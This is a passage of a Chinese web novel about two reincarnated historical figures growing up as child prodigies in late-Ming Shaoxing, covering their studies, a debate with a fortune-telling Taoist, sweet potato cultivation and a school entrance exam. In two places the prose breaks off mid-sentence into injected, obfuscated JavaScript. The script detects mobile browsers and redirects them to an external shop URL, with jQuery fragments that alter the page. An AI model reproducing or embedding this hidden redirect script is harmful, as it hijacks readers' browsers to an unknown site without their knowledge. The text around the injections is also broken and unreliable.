“咦!”紧接着一个没踩稳,直接朝着张岱方向扑了过去! “欸!”众人不由惊呼出声。 教养极好的张岱见状,便下意识伸手扶住了这小孩儿,心中不免也是有些后怕。 却见,这娃娃咯咯直笑,一双圆溜溜的大眼睛干净的很。 张岱松了手,适时退开,手拿扇子一折,见周瑶神情担忧直接抱起孩子,想了想又道:“小公子如今年岁几何了?” 这话出口,周瑶眼神微变:“也快有一岁半了。” 张岱不知在想什么,良久看了一眼那小孩,便见着那孩子眼中深邃之色一闪而过,立马恢复如纯洁单纯的模样。 他……看错了? “公、公子,咱们这也出来有些时间了,马上天黑了。”一侧仆人见他思忖已久,便适时开口了。 “哦…失态了。”张岱回神,颇有些不好意思。 “不妨事,小作坊有张相公造访,还是我沾光呢!”周瑶不以为意。 “周娘子是个实在人,这样,过些年,孩子大了也该启蒙,不妨我举荐一二,倒也……” 这话顿了顿,因为张岱仿佛又看到了那小孩儿眼里头一丝精光闪过! 他绝对,没看错! 周瑶愣了一下,紧接着那可谓是心中平地惊雷现:“这是自然!若是能得张公子慧眼,便是我这两个儿子的福分了!” 周盈:小样,看我还勾不起你好奇心? 8. 第 8 章 万历三十四年,春。 三月,草长莺飞,牙牙学语的周盈和郭嘉,开始逐步进入了启蒙阶段,这对于当今社会小孩启蒙的平均年龄来说,实在是令人惊愕。 不过郭怡教书教的十分趣味盎然,她逐渐地从一个没了丈夫的官太太阴影里,走了出来。 拿起书本,郭怡总有一种触碰了什么未知世界的喜悦。 两个孩子坐在桌前,简陋的书房除了启蒙必备之书,再无其他。 虽说,二人如今对这等书籍完全没兴趣,但也不能表现的太妖孽不是? 于是周盈和郭嘉就只能……阿巴巴巴巴……郭娘/娘亲讲的真好。 看着两个一脸正经老成的小孩,郭怡不免心疼,是不是太心急了一些? 周盈/郭嘉:不不不!一点都不快!他们还恨不得摁下倍速成长按钮呢。 这一月,朝廷发生了一些不小的事情,不过和地处绍兴府安然过日子的一家人没什么大关系。 七月,夏。 酷暑难当。 绍兴府起了一些波澜,是夜,酣然入睡的周盈猛的睁开眼。 只听外边官兵声音响起,脚步声,马蹄声,随后火光冲天。 侧头一瞧,原来郭奉孝也并未睡着。 “什么情况?”两人以口型对话。 经过这些天学习,这具身体已基本学会了说话,真是可喜可贺了… 郭嘉皱眉:马匹数十,步声约有百人,这阵仗排场…… 见这话头,周盈心里也是不免思索,不过好在这支队伍路过之后,再无动静。 是日,当地镇守太监被召回。 随以槛送京师者,有山阴县令沈致意、臬司衙门等相关官员。 此事在当地闹出不小动静。 坐在大树底下乘凉的周盈闭着眼,只觉鼻头一痒,睁开眼就看到郭奉孝这会儿,捏着根狗尾巴草,非得往他鼻子底下凑。 “……作甚?”周盈拍掉对方的手。 “我是说…这些天外面风声鹤唳,你难道不想知道发生了什么?”郭嘉自讨没趣,走到他身边坐下。 “沈致意此人行事油滑,做官便是求个两头不沾。做个中间派,却被两头夹着,下场可想而知。” “再说,前仁和县令赵志祥被牵扯进矿税案里头,我等于山阴县生活一年有余,他必然也是知道些消息的。如此说来……我们的处境亦不容乐观啊。” 话说到这头,周盈小大人深深叹了一口气,眉头开始皱了起来。 “噗…”郭嘉没忍住。 “哎,这些是长远的事情,你倒不如猜猜,这背后保着我们的是谁?” 周盈闻言倒是瞥了他一眼:“前仁和县令赵志祥是杭州人。不论事情真相如何,他死了却比活着更有用。 “只有这样,这才算是一张最好打,也是最容易打的明牌。” 说到这话,周盈忽的往后斜倚了点,手指自然缠绕逐渐长出的胎毛长发:“所以,我猜是……” “你把你这动作改了!”郭奉孝见着他这动静,没好气。 “……”周盈少有尴尬松手,行吧……这小习惯也真是,多少年了,现在硬改还真是不适应。 语气到这里微顿,俩人对视间,未尽之语不言而喻了。 郭嘉叹息:“这明朝的皇帝,倒还真是一个比一个的阴险歹毒。” “……” “怎么?我说错了?” “不是…我是说,你找死别拖上我。” “……” 沉默间,郭奉孝颇觉无语。 且看周盈眼底戏谑,刚想再开口说什么,目光瞥见门口出来的郭怡,顿时闭上嘴。 “咦?这么热的天,你们两个怎在树底下坐着?快进来。”郭怡说着就上前,一手拉起一人。 于是两个刚刚还指点江山的奶娃娃,这会儿顿时换做“阿巴巴巴”的表情,一脸懵逼茫然的跟着进了屋。 欸…人在屋檐下,不得不低头啊。 一番对话很快完毕,两个人又过上了吃饭睡觉打豆豆…不对,是读书学习的生活。 不过在这个七月间,朝野发生了一件很大很大的事情。 那就是权倾朝野的首辅沈一贯,突然递了辞呈。 他,不干了。 这也代表着,往日里风光正盛的浙党,即将迎来危机四伏的政治清算。 但朝廷的风,如今还吹不到两个刚下地走路的奶娃娃身上。 天高皇帝远,但皇帝却也并非对地方的事毫不知情的。 万历三十五年,无事。 万历三十六年,无事。 万历三十七年。 已经四岁的周盈和郭嘉,总算是摆脱了奶娃娃的尴尬境地,如今能跑能跳,说话利索的两个人,正捧着书,在门口晒着太阳,津津有味的看着。 曰书名:双雄记 作者为:墨憨斋主人。 此书讲述故事不同于那些之乎者也的典籍经书,用词通俗易懂,趣味盎然。 因而在民间尤为畅销流通,是各个地方书坊极为推销的畅销书了! 不过两个人打发时间看的主要原因是……这个作者名儿,比较眼熟。 “冯梦龙如今年岁几何了?”放下书的周盈,用手揉了揉眉头,颇觉眼睛酸疼。 “约莫……三十五?” 郭嘉拿着书继续翻了几页,随后合上本:“怎么?你有想法?” “我能有什么想法?如今你我还是稚童身体,便是有想法也做不了什么。” 口是心非。 按照郭奉孝对这家伙的了解,周盈这话问出来,那必然是起了些想法和心思的。 “没有想法,你就不用如此大费周章,又哭又闹,非要指着书轩门口这本《双雄记》,跟周娘说要买它了。” “……”这话让周盈有点尴尬了。 咳…毕竟小孩子嘛,哭闹是最省时省力的法子,再说如今家里因着几年积蓄下来,也算是渐有富裕,买几本书并不是什么大开销。 说到底还是倚仗于明末分外发达的印刷业,和造纸业,若非如此,寒门子弟便是连买本书的钱都拿不出来! 这事儿,郭奉孝颇有感触。 毕竟他从小生长的地方跟明末比起来,实在算是…阶级分明了。 寒门子弟在汉末极难出头,并不是因为无书可读,而是因为想要做官,进入官场,便必须要有人推举你。 但这些好的名额大多数都被更大的豪强世家把控,自然的,风气就渐渐变成了看人出身定高低。 哪能有如今,考个试,优秀就能做官的呢? 这点郭嘉觉得很不错 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郭嘉挑眉,周盈侧头,眸子一转,手间发丝轻捋,便有了一个想法。 二者不需多言,只微微一笑。 当然是,把入学考试,闹大点。 绍兴的私塾风气极盛,文人墨客亦颇多,但四岁孩童想入私塾启蒙,确实有点强人所难,周瑶也是打点了好久,才得了个机会的。 而这家私塾据说在当地也算是名气极大,本身院长不愿接纳,但因有张岱举荐,这才勉为其难,开了个口子。 但要求是,周盈和郭嘉的入学考试,必须要足够精彩优秀才行。 郭奉孝评价为:本事不大,脾气挺大。 周盈默默点了个赞。 当然这是小插曲,两个人如今计划的短线目标近在眼前,但在还未进入私塾学习的这段时间,便少不了自己努力读书了。 明代士子主要学的便是程朱理学与陆王心学,后者亦称之为阳明心学。此二者听起来似乎全然不同,但实属同宗出身,且若想学陆王心学,必然要先搞懂程朱理学才可。 屋内一打一打的书堆砌在侧,油灯通明间,忽听门被推响。 进来的郭怡瞧见两个四岁大的孩子趴在桌上,手里的书摇摇欲坠,显然是读的夜深人静,疲惫不堪睡着了。 最近周瑶为了商业上的事情忙的很,照顾孩子和打点家里也就都落在了郭怡的身上。 心里疼惜二人的郭娘,小心翼翼将孩子手里的书拿走合上,放在一侧,随后抱起郭嘉走到一侧床上放下。 动静间,周盈睁开一条缝,见着郭娘如此,心里不免叹道,本是想着投个富贵人家,却遇着了这样的两个母亲。 真是缘分悬殊,令人百感交集。 若非周瑶与郭怡支撑起这个家,二人早就被迫重开了。先前两人能以婴儿身指点江山,却也都是因着两个母亲本就是足够聪慧之人。 感受到自己被抱起,周盈心想,要早点考取功名,功成名就。这样才有能力在如今的社会庇护整个家庭。 当然,这都只是周盈的心里话。 不过……这些天倒也确实有那么点小插曲。 9. 第 9 章 明以来,游方道士与僧侣颇多。这与明朝太祖朱元璋曾信佛有些关。至于宗教兴盛,最主要原因还是因隋唐之时佛道兴盛,对中原形成了潜移默化的冲击。 这不,周盈这会儿正在屋里奋斗读书呢,外头进来的郭娘就把他提溜了出去,连带的还有边上玩泥巴……啊不是,是与蛐蛐斗乐的郭奉孝。 这俩挺有趣。周盈觉得郭奉孝玩物丧志,郭嘉觉得周扒皮卷王一个! 两个人就在读书的方法论上,并没有什么共同语言可言。 “郭娘?他是谁?”目光敏锐的小周盈穿着浅蓝色小衣,这会儿正端庄规矩的坐在小椅子上。 且看眼前不远处,便有一着道袍,背包裹的中年道人,此时正捋胡须颔首一笑。 “两位令郎真是好相貌。” “……” “……” 哪里来的江湖骗子!周娘/娘亲快回来!郭娘/娘亲要被江湖骗子糊弄了! 郭怡却听不着小周盈、小郭嘉的心里话,只是含笑开口道:“道长,您看这两个孩子,这前程如何?咱们家也清贫,生怕养不好他们俩……实在是…” “人之命虽有天断,人之运亦有所为。善信莫急,我看二位公子容貌丰俊,将来长大必是不凡。” 这道士说着便掏出自己背包里的罗盘、铜钱、八卦盘等等东西,丁零当啷的,看的郭奉孝眼皮子跳。 他侧头看着周盈:“这玩意儿,有用?” “……”就周盈身份来说,算命这事儿,对他来说还真算不准。 这种东西最多就看个大概而已,能算准的,那还能是人啊? 两个小孩儿在这边嘀嘀咕咕,那边的郭怡,已是掰着手指头,开始把周盈和郭嘉的生辰八字一一细说出来。 命理学说亦是宋明时期逐渐发展兴盛的,徐子平是北宋人,这个时候最著名的主流曰为子平命理。 老道士手捋袖子,将盘排开,随后屋里就安静了下来。周盈目光沉沉,盯着那罗盘看了一会儿后……发现这玩意儿表皮粗糙且皲裂,一看便知用了许久。 见老道士不说话,郭怡有些着急开口:“道长,如何……莫不是盈儿八字不妥?” 老道眯着眼捋着胡须,手指头从上到下点了几下,然后一抬头看向周盈,目光里透露出几分诧异。 周盈:…… 郭嘉更是坐不住,直接就挪到老道身边搬着板凳坐下来,看着那甲乙丙丁的排列,四方八宫位列整齐。 他道:“这东西,什么都能算?” 老道惊醒,见着郭嘉那双眼,下意识心头一跳:“是极。” 这稀奇。 郭奉孝开始感兴趣了。 还不等他继续说,且看那老道继续又取来另一盘,神神叨叨说着什么曰:“剑坐申金,命朝紫府,杀星入命…” 总而言之郭怡听不懂,郭嘉摸着下巴琢磨。 周盈皱起眉:“道长,我有一事不明,不知道长是否可赐教?” 老道颔首,眼中带着几分复杂:“小公子请讲。” “我虽四岁稚童,却也知天无常,地无咎。算命却反者将之,偏要尽算未卜,可未来之事如何能测?” “我瞧你这八字算法,天干地支与这理学倒也颇有异曲同工之妙。” “书言,气理相行,气先理后,敬为善者,是为理学。人敬天地,敬神明,敬君父,敬父母、恩师、长者、幼者……却独不敬己、敬爱、敬仁、敬善。” “心学有云,知行合一,行的是理,知的是气,气者为何?理者又为何?” 这是最近,周盈读书的时候一直也疑惑的一点,明代儒学至今已逐渐分成两派,一派由二程朱熹为代表,以格物致知为用,是为“格”理。另一派则为陆九渊王阳明为代表,将格物致知中的“格”独领出来,是为“格”心。 但心这个东西,太玄乎,人有好坏之分,心也有好坏之分。 而当今儒学尊崇的,却是孟子的性本善学说。 老道听闻,深皱起眉。一侧坐着的郭怡郭嘉二人心思各异,郭怡这些天跟着读书,也算是一点点捡起那点知识,只不过理学心学太绕口,新学者难免容易干涩不懂。 郭嘉是知道周扒皮要开始炮轰了,于是眼睛一转,朝着周盈眨了眨眼。 老道捋须言:“命者,先天之气也,运者,后天之理也。譬如,甲在天为气,曰为雷。在地为理,曰为木。庚在天为气,曰为雾,在地为理,曰为铁。” “气者,呈以微末之根本,理者,著以博物之显化。” “无雷无雾,不成树木,不淬钢铁。” 郭嘉一听这话,琢磨还挺神叨叨的,其实理学心学这玩意儿吧,看起来长篇大论,说来说去就那么点东西。 曰:你外求,还是内求。人要怎么变得更好。 “道长!我有话问。”他举手表示自己要发言。 “小公子请讲。” “若占卜算卦,可以观测未来,那若知未来极好,便懒惰度日,又如何?” “若如此,自然碌碌无为。” “可你曾言,“气”为微末之根本,即为果。那么“理”即为因,因果又如何倒置?” “……”老道手一顿,力道没收住,扯了几捋胡须下来。 “这…” “再言,格物致知,格的是理,知的是气。可陆王心学又言其格的是心,知的是行。” “若如此说来,心即气,行即理。若求功名,岂不是心中发愿,求神拜佛,即可心想事成?” “……”老道瞪大了眼睛,唇微启,似乎想说些什么,却又说不出来。 周盈看了一眼郭奉孝,此时的郭嘉一副傻白甜的样子,四岁稚童的外表挺能唬人的。 老道想了片刻,只叹息了一声道:“惭愧,惭愧!我竟落了魔怔,差点着了道。” “小公子所言极是,若无学以致用,则事事不可成。” “非也,我们是说……”郭嘉嘿嘿一笑,转头看了一眼周盈,又言:“求神拜佛,不如自己努力。” “……”老道惭愧一笑,摇头不言矣。 临行之际,拒绝了郭怡给的卦金,反倒是开口留言:“此儿子,非凡人。一者将星下凡,一者天机入命,相辅相成。善信千万要辅其长成。” 当然这话郭怡没跟周盈 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这会儿的周瑶眼含笑意道:“盈儿嘉儿,明日就要去私塾了,心里紧张吗?” 二者对视一番,皆是摇头。 实话实说,这样的小场面,两人都是从没放在眼里过的。 周瑶看着两个四五岁的小孩儿,此时逐渐长开的脸,虽稚气未退,已可看出些许端倪,她不免心里头有些许自豪感生出。 盈儿乖乖端坐,模样是越发周正秀丽,瞧着让人安心。嘉儿则是俊俏伶俐,整个人机灵的紧。 “娘亲,明日的事我与弟弟已有把握,无需担忧。”嗯……虽说郭奉孝很鄙视排斥这个称谓,但是没有办法,谁叫周盈出生比他早些呢? “是极,周娘莫慌。” 眼看两个孩子如此听话懂事,周瑶也是眼眶微红,想说点什么,又不知道该怎么说。 察觉出周瑶欲言又止的情绪,周盈敏锐开口:“娘亲,可是有烦心事?” “不是什么事,只是前些天,我儿所言之物,娘亲想了些法子,如今弄是弄出来了,却也不尽如意。” 听到这话头,周盈和郭嘉倒是心有诧异。也就是上半年吧,眼看着周瑶的小作坊这几年名声越来越旺,连带着隔壁县都有人过来专门求上一坛孩儿笑。 再加上这绍兴地处水乡,来往水路发达,不乏商人游客,亦有外邦人,周盈便想到了一些从外头泊来的东西。 比方说后世很常见的番薯,但在如今并无引起多少人注意。 “是种出些什么了吗?” “试种了两亩地,产了两百多斤,折算下来也就到粮食亩产一石左右。” 经过周瑶熏陶,如今周盈郭嘉二人也是算的明白这笔账的,当即就低头开始掰着手指头算,嘴里喃喃嘟囔间,颇为正经神气。 很显然,这亩产两百多斤听起来不错。 但扣除种苗、肥力、人工等成本来讲,纯纯是亏本买卖。 这可完全到不了周盈所设想的,能拿来以未来饥荒之年充饥为用。 10. 第 10 章 看来,没有经过人力改良的番薯,也没有后世说的那么厉害。 周盈深深叹了口气。 奶膘还没消退,鹅蛋大的小脸如白糯米糍一般,在灯火下照出一片细细绒毛。 “不妨事,能找到苗,就能找到给苗改良的法子,总之事情一点点办,既然周娘第一次栽苗出了品,不如我们一起去瞧瞧?” 这话是郭嘉说的,他对现在的番薯也挺好奇的。其实主要是因为他不太能坐得住,每回看会儿就得躺一会儿,站一会儿,翘个腿,晃个脑袋什么的。 一直闷在屋子里,太难受! “弟弟说的对,是我心急。娘亲是大功臣!”有东西种出来了总归是好事情!周盈一下子眉开眼笑了。 于是奶白的小团子扑腾跳下椅子,噔噔噔跑到周瑶边上,手一挥,对方便明白的低下头来。 “吧唧!” “娘亲最好了。” 郭奉孝:……千年老妖怪还装嫩?恐怖如斯! 被亲了一口的周瑶心软软,眯着的眼笑成了弯月,哎呀,乖宝的亲亲可稀罕了。毕竟周盈的性子太冷静,有时候周瑶都有些心疼,太绷着了。 不过多时,夜色下,大人左右各拉着一只小手,一路沿着小路走出了院子。 也就这会儿功夫,几个人就看到不远处,堆在路边的番薯堆成了小山丘。 拿着铁锹,挽起袖子的郭怡看着几人倒是直起了弯着的腰:“你瞧,这一亩地也就产出这些,都堆那儿了。” 手一指,几个人看过去。 只看到各种奇形怪状的,乱七八糟的,皲裂的,歪瓜裂枣一堆,看起来味道就不怎么样… 周盈猛皱秀气的眉头,松了拉着娘亲的手,两只小短腿就朝着那地儿走过去。 头顶两个小揪揪随着动作晃晃悠悠,不时的随风飘摇,颇为滑稽。 拿起纤细长条的番薯,仔细打量了一会儿,这玩意儿干瘪的紧,显然是不能直接拿去充当饥粮的,倒也难怪娘亲说,种这玩意儿还不如种粮来的实在。 “盈儿可是有什么想法?”走过来蹲下的周瑶不动声色替人挡了些夜风,这会儿入了秋,天气有些凉。 她目光专注看着正沉思苦想的周盈,不由得心里亦颇有好奇。 “娘亲,我在想,这东西既然能在咱们绍兴府的土地里长出果实,便足以说明其适应力极强。” “所谓橘生淮南则为橘,生于淮北则为枳,既然可以产出供人食用的口粮,若是在饥荒之年,这东西能出现,是不是能保住更多的人呢?” 周盈转头看向她,黝黑的大瞳孔透露出几分机敏和好奇,仿佛还真是一个四五岁大的孩子,发自内心的真诚提问。 “你想…改良这个吗?” “嗯!就是不知道能不能改良…”眼睛一亮的小周盈,眼里头全是真挚的期待和渴望。 蹲在一旁,正替郭怡挖着土里埋着的番薯的郭嘉,听到这话颇觉牙酸。 哎…真不能跟人比脸皮厚,反正他做不到。 “我赞成!周娘,这玩意儿看起来能行!”不过牙酸归牙酸,小郭嘉跑了过来,手上沾满了泥巴,摊开的掌心上,是两颗看起来,比那些歪瓜裂枣更为圆润饱满的番薯。 “看,这两个,瞧着就好吃!” 周瑶敏锐察觉这两个番薯的不一般,倒是挑眉接过:“欸?这好像可以…” 想了想她抬头,看着两个目光中带着期待的小孩,笑言:“既然如此,那周娘就试试看!走!今晚夜宵咱们吃番薯!” “……” “……” 呃…这个就不必了吧?番薯吃多了容易… “怎么?不想吃?” “啊、啊!不是!娘亲做什么都好吃!”嗯…自己挖的坑,那哭着都得跳。 周盈瞥见一侧郭嘉目露凶光的表情,也实在是难得的欲哭无泪了。 是日,舒风卷而轻云蔽,多云的温度宜人,街道上人来人往间,却是比往日要更为密切一些,连衙门官兵都出马了不少人呢! 潘岳私塾街前,站在门口便可见泼墨遒劲的牌匾,而一侧停了几辆马车。 进了门的几个学生手上拿着几卷书,三三两两的人搭伴。却见门口,有不少人从里面往外头看着,似乎在盼什么一般。 “哎?我说,今日要来的那个‘神童’,你们可听说了?” “这谁不知道?替母哭门呗,切……要我说两个寡妇养大的孩子,能有什么能耐?也就是宗子兄,非得要跟这寒酸人家打交道。” 说这话的人虽身着程子衣,细瞧着,倒还能瞧出绫罗绸缎的暗纹来。他斜斜依靠坐在自己位置上,朝着窗外看过去,便看到外头广场上到处都是人。 于是心里更不爽了。 “哦?青山兄这话说的,倒还真是‘君子坦荡荡,小人长戚戚’了!” 此话一出,立刻引得哄堂大笑。 那被称之为青山兄的人,顿时被笑的面红耳赤,忙一转头看过去,狰狞目光间,瞧见那素衣温雅的贵公子身影,便一下歇了气焰。 张岱见此,莞尔一笑。 他左右一瞥间,手上袖子一捋,抬起手臂,将一枚玉佩拍在桌上,随后朝着众人道:“诸位皆是同窗,我知大家是觉我张岱交了个寒酸朋友。” “这样,既如此,眼下老师未到,闲着也是无聊,不若我们来打个赌!” 潘岳私塾收的学生下至启蒙,上至可考功名科举,并不对年龄设置多大限制,多是老师们按照学习能力而分班。 张岱所在的这一班,便也大多都是同一个学习进度的。 众学生你看我我看你,可见对张岱还是颇有推崇,当下就有人上前。 此人一笑了然,手拽下挂在自己腰间玉佩,也跟着拍在桌上:“我支持宗子兄!赌什么?” 被称为宗吕的这位,姓杨名业,字宗吕,也算是山阴当地有头有脸的人家了。 有他上前,当下其他几个也跟着陆陆续续。 “好,宗吕兄豪气人。就赌……”张岱看了一圈周围人,神秘一笑间,微弯的眼睛如笑面狐狸般狡黠。 “我这个‘寒酸’朋友,可不可以入咱们这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542611|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 私塾的门!” 闻言,众人便都稀奇了起来,那被称之为青山兄的,姓沈名越,此时此刻脸色也是铁青,只冷哼一声道:“宗子,你好歹也是有些名声的士人,何必为两个寒酸人,如此拉下脸面?” 沈越实是不理解,虽说张岱确是个浪荡风流的公子哥,但连官宦子弟的脸面都不管了,非要跟别的寒酸平民混在一起,实是不合理。 “青山兄这话可就说错了,我张岱行事,素来只看我喜不喜欢,何曾看过他人身份?”张岱收回手,只淡然笑言。 屋内的几个以他为首的学生,都是一副稀奇又觉有趣的架势。 而以沈越为首的几人,也与张岱颇不对付,这小小班级,俨然就已形成了两派斗争了,真真是私塾小社会。 “好了,你们在这儿吵什么?”也就气氛凝重的这一会儿功夫,从门口进来的老师,一身浅灰襕衫,蓄一簇长须,气质间沉静稳重。 见老师来,众人也都顿时如被捏着脖子的小鸡仔一般,恭恭敬敬的行了一礼:“老师。” 被称之为老师的,便是专门管着这个经馆的夫子了,姓林名恒远,字长达,是万历十一年举人出身。 他瞧屋里头一群学生聚在一起,再见那桌上放着的玉佩银两等的,便拂袖呵道:“简直是胡闹!” 张岱倒是不惧,只依旧开口言:“老师,方才学生们只不过是借着由头打个趣罢了。” 林夫子闻言皱起了眉,盯着张岱看了一会儿。这个学生是他最器重的,却也是最玩世不恭的! 眼看着这么个好苗子,非是不把心思全放在读书做学问上,作为老师的,如何能看着舒坦! 林夫子只言:“宗子,月末旬考准备如何了?” “……”张岱最讨厌被问这个。 “哼!真是玩物丧志!” 嗯……好吧,林夫子看来是又要指着张宗子狠狠进行批斗大会了。 话且揭过。 私塾门口,已有不少人等候,周盈和郭嘉一路走来,还真是第一次真切地感觉到,自己的娘亲,把名声经营的有多厉害了! 自古以来,神童这个头衔,就颇为引人注意。 如今全山阴都知道,孩儿笑品牌创始人周寡妇的孩子,及侄子,今日要入学考试了。 “乖宝,为娘给你们打下了名气,接下来可得看你们的努力了!”见着站在在私塾门口的一群人,周瑶这会儿也是心里头跳的厉害。 郭怡拉着郭嘉的手,低头看了一眼,结果发现自己儿子这会儿,左看看,右看看,眼里头全是一副不当回事的样子。 心里也是颇有一股焦急,曰为:妈妈觉得你该急。 两个出了名的寡妇,手里牵着自己儿子,就这么走到了私塾门口。 站在门前的几个夫子对视一眼,心里也是颇有忐忑。 仔细观摩间,见这两个小娃娃,一个眼睛圆溜溜,冰雪一般的长相,偏眼里头沉静,半点小孩子的闹性都没有。 另一个目光直言不讳,便是直直对视众人,莞尔一笑间,带着些许……不易察觉的戏谑? 11. 第 11 章 郭奉孝纯粹觉得有趣,在这地方憋了这么久,总算是能让他开闸放肆一回了。 虽说昨夜两个人就战略方针,讨论了一晚上。毕竟摆着手指头算,单个拎出来的年龄都是个妖孽了,该表现表现,但也不能表现得太过分。 当然,在郭嘉眼里,没有将就两个字。天才总是桀骜不驯的,能在汉末那个年代擦出绚烂火花的鬼才,怎么可能忍受得了平庸呢? 周瑶拎着周盈,率先上前行了一礼道:“夫子,孩子我带来了。” 为首的夫子,身形修长峻拔,一身粗布长衫洗的泛白,面容冷峻,一双锐利的眸子,扫过周盈和郭嘉,只是淡淡颔首道:“进来吧。你二者既是破格入学,考题比之寻常学子,便要不同了。” 这位是在山阴颇有名声的大儒,陈致远,字子长,万历十六年进士,也是当地颇为有名的大儒。 周盈察觉对方目光那一刹那,便略蹙了蹙眉,此人…对自己颇为不喜,是为何意? 他抬起头的时候,陈夫子早已收回目光,周盈便只好转头看向郭嘉,对方这会儿也思忖了些许,两人心想,今日倒还真……没自己想的那么简单了。 跟着一群人进了门,周盈便见到了中央广场,早已站了不少人,今日天气不错,考试的桌子、椅子,便都设置在了广场上。 张岱灰头土脸的从夫子室出来,方才刚被林夫子臭骂一顿,他心情能好才稀奇了! 却不曾想,一出门就撞见了周盈和郭嘉两人坐在广场上,原来这场万众瞩目的入学考试,已经开始了。 广场上,端坐在桌前的周盈,看着桌上的雪白宣纸,以及考题笔墨,便皱了皱眉。 按照往日逻辑来说,启蒙入学的考试,最多也就走个过场罢了,今日考题难免……强孩子所难了。 考曰:解“格物”一义。 题曰:朱子云“格物致知”,阳明亦言“格者,正也。”二说孰是?何以“格”之? “……” “……” 两人不约而同抬头看向坐在上方的几个夫子。 大约也是觉得这题实在太超纲,坐在陈夫子边上的那位,看起来和蔼些的,侧身开口道:“这会不会太过了?” “有什么过的?既然打这神童的名声,这样的题目有什么可过的?”陈夫子那双上翘些的丹凤眼,瞥了一眼替二人说话的人。 对方脸上带着几分复杂,唇瓣嗫喏,最后还是没开口。 围在一侧的学生们见夫子这般,不免也好奇出的到底是什么考题了。挤进来的张岱找了个好位置,眯着眼也瞧不见那张纸到底写的是什么。 不过就看陈夫子这般脸色……想来这次考题颇难。 啧…陈夫子果然还是这般刚直,最是讨厌沽誉钓名之辈。 “夫子,敢问一言。”一道稚嫩声音响起,原先窸窸窣窣的广场顿时安静下来,皆不约而同看着那道开口的影子。 一侧围观的沈越只冷哼,心想四岁的娃娃,简直是胡闹! “请讲。”陈夫子答曰。 “此题,是启蒙考难度,还是说…与在场师兄们一般,皆为经纶之学?” 开口所言者,为周盈。 四岁左右,却并无恐惧,见诸人,反倒气定神闲,咬字清晰。 陈夫子默然了一会儿,又道:“此地名曰‘知行广场’。” “既如此,纸笔便也不用了,诸位师兄难得齐聚,不若就辨一辨这‘格物’,如何啊?” 他言出,浅笑一番。所出之言,围观众人都不禁讶然。 “这、这出题是否有些…” “超纲了。”张岱深叹一口气,什么嘛,陈夫子这是欺负小孩吗? 便是他,面对这题都得头疼!怎么能拿出来考两个小孩呢? 两个围观的母亲不太懂这些,反倒是更为孩子捏了一把汗了。 “阿瑶,这会不会出事啊?” 周瑶目光盯着场内两人影子,心里也是悬了一块石头:“欸…相信盈儿跟嘉儿吧。” “肃静。”一言出,原先交流的声音便都停了下来。 坐在上方陈夫子皱了皱眉,锐利的眼神再度扫视周盈,却见对方并不惧怕,反倒是与他直接对视。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542612|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 一时间,陈夫子心里一顿,颇觉此稚童稀奇。他极讨厌沽誉钓名之辈,更不喜借孩童名声炒作的人,因而对周盈和郭嘉两个人的敌意,还有二人母亲的原因。 便是周寡妇的招牌再大,名声再大,陈夫子心中都不齿这些。 “今日念你年幼,准你笔墨答题,真不要?” “纸上得来终觉浅,绝知此事要躬行。” “……好。” “子长!”一侧几个夫子有些坐不住了,好歹也是个四岁奶娃娃,你一个大人跟对方较什么劲! 传出去咱们潘岳私塾,还要不要名声了! 但陈夫子似乎并未觉察,亦不想开口多说什么,只挥了挥手,紧接着便是计时开始了。 郭嘉心想,看来就是想藏拙,也没办法了,人家都蹬鼻子上脸了!不打出去是想当菩萨吗? 他可受不得这鸟气的! 瞧了一眼站在边上的张岱,见此人皱眉,手捏着下巴不知道在思索什么,右边是坐在席上的两位母亲,其余围着的都是些穿着程子衣的学生。 他倒是不担心周盈答不出来,却更担心这私塾,入学未来风气如何。 不过好在观察一番,大多数人脸上都是担忧和不解之色,便只有极少数的人,一副桀骜且不屑的面色。 沈越目光一凝,看那小孩朝自己挑眉,颇有挑衅之意,他懵了一下,没反应过来。 什么意思? 他…被一个四岁的孩子,挑衅了? 还不等沈越多想些什么,只听上方陈夫子言:“既如此,便开始吧。” 周盈瞥了一眼坐在一侧的郭奉孝,此人目光沉静,显然也是认真了起来。 二人心照不宣,周盈回头,看着众人道:“朱子、阳明子之学精妙,我二人年幼,不曾多读研究,若说错什么,还请夫子,和诸位师兄见谅。” “《大学》言‘欲诚其意者,先致其知,致知在格物。’格者理也,理者道也,道从何求?敬者从也,从者人也,人从何来?” “请夫子指教。” 一语毕,广场皆寂。 12. 第 12 章 随后,片叶而落,众人顿言稀奇,不乏涛涛私语声。张岱这会儿都稀罕了,这解题法子,倒还真是…绝了! 他学的便是这玩意儿,自然知道理学之中,“敬”为重中之重,是由程颐提出的核心思想。 所谓,天地君亲师,敬便是敬畏、尊敬、谦逊、有礼、克制、理性。 但周盈此言,直接意为:如果“道”需要人去“敬”和“从”,那么“道”究竟是外在于人的法则,还是内在于人的主观意识? 这个答案,没人知道。 人从何来呢?人的本身是何物? “宗子,我言,人为生生之理,你觉得如何?”凑到张岱身边的杨业颇觉稀罕,便也来了兴致道出自己之理解。 “哦?看来宗吕兄胸中文气翻涌?”张岱一笑了之,知他是戏言,凑个热闹罢了,便也没多言什么,目光依旧看着广场中央。 而台上的几个夫子,皆交头接耳,不过多时陈夫子颔首,脸色稍霁。 “宇宙之间,一理而已。天得则为天,地得则为地,人得是为性。故‘人从何来?'人自‘天理’而来。” 